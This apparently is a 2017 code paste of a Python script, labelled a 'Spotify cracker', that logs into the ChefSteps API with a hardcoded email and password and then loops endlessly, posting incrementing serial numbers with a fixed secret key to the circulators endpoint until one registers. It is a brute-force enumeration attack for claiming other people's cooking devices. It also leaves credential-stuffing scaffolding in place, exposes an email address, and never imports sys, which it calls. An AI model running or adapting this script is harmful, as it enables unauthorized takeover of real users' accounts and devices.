· 9 years ago · Jan 03, 2017, 02:02 PM
1# -*- coding: cp1252 -*- "password":"<PASS>","email":"<USER>"
2#Spotify cracker
3thecombofile = "test.txt"
4from classes.prowrapper import prowrapper
5import threading
6import time,json
7import hashlib
8
9
10
11acc = prowrapper(False,"http://localhost:6969")
12acc.headers["X-Application-Version"] = "2.41.3"
13acc.headers["Origin"] = "file://"
14
15acc.headers["User-Agent"] = "Mozilla/5.0 (Linux; Android 4.4.4; MediaPad T1 8.0 Pro Build/HuaweiMediaPad) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Crosswalk/22.52.561.4 Safari/537.36"
16
17theusername = "raresoftuk@gmail.com"
18
19
20thedata = {"user[email]" : "raresoftuk@gmail.com",
21 "user[password]" : "testt"}
22theurl = "https://www.chefsteps.com/api/v0/authenticate"
23
24#thedata = {"user" : theusername,
25html = acc.post(theurl,thedata)
26
27
28print (html)
29jsonshit = json.loads(html)
30token = jsonshit["token"]
31
32
33
34
35acc.headers["Content-type"] = "application/json"
36
37#jsonshit = json.loads(html)
38#token = jsonshit["access_token"]
39acc.headers["Authorization"] = "Bearer " + token
40theurl = "https://www.chefsteps.com/api/v0/circulators"
41
42
43
44thenum = 163404194
45while 1==1:
46 thenum=thenum+1
47 thedata = '{"circulator":{"id":"1", "serial_number":"' + str(thenum) + '" , "notes" : "" , "secret_key" : "56819319b1fc5e45822e025ea349692a", "name" : "Kitchen"}}'
48 html = acc.post(theurl,thedata)
49 print (html)
50 if not (html.find ("Server error") > 1):
51 print (html)
52 sys.exit()
53
54
55
56
57sys.exit()